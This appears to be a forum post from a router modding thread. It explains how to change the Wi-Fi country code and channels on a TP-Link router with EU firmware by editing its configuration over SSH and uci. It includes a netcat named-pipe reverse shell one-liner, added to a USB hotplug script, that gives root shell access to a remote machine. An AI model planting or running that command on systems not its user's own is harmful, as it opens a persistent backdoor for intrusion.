Please do the following on CABLE, not wireless
- Please make a backup of config.bin (unmolested, clean and virgin)
Must use root mode. Follow @drush guide.
As admin mode ssh admin@192.168.x.x
in ssh access, edit /etc/hotplug.d/usb/10-usb via VIM (vim keyboard shortcut a pain in ass) to add mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.x.x 12345 > /tmp/f
at the bottom and save it. Don't ask me how to use VIM, I have hard time myself.
Change 192.168.x.x to the IP address of your linux system
In my case, I decided to use Rufus + Ubuntu live cd.
Using sudo -i
to enter root mode at ubuntu before running nc -l -p 12345
Plug in a usb pendrive to the router and voila, ubuntu terminal will get connected to the router.
uci show wireless
uci set wireless.eth2.country=MY
uci set wireless.eth3.country=MY
uci set wireless.eth2.channel=auto
--->for a good reason, you can change it later.
uci commit wireless; wifi
----> this will reload the wifi interface.
EDIT: I forgot the mention the most important part. Need to restart uhttpd server before the following step of uploading a modified config.bin:
/etc/init.d/uhttpd restart
***Otherwise, TP-Link webui will reject the modified config.bin in the following step below.
Now, the pain in ass issue, remember the previous ori-backup-user-config.bin
from few posts ago? Yeah.....one needs to edit that as well ;
<country>MY</country>
---> for both 2.4ghz and 5ghz
Set <channel>auto</channel>
for 5ghz
Re-tar,recompress,re-encrypt.
Open up tplink 192.168.0.1, and restore the edited config.bin
voila, EU firmware get persisted MY channel 36, 38, 40, 44, 48, 149, 153, 157 and 161
Otherwise, if one simply edits config.bin
's ori-backup-user-config.bin
country code and 'restore' it, it will not get 'activated' after 'restore'. The uci commit step must be done first.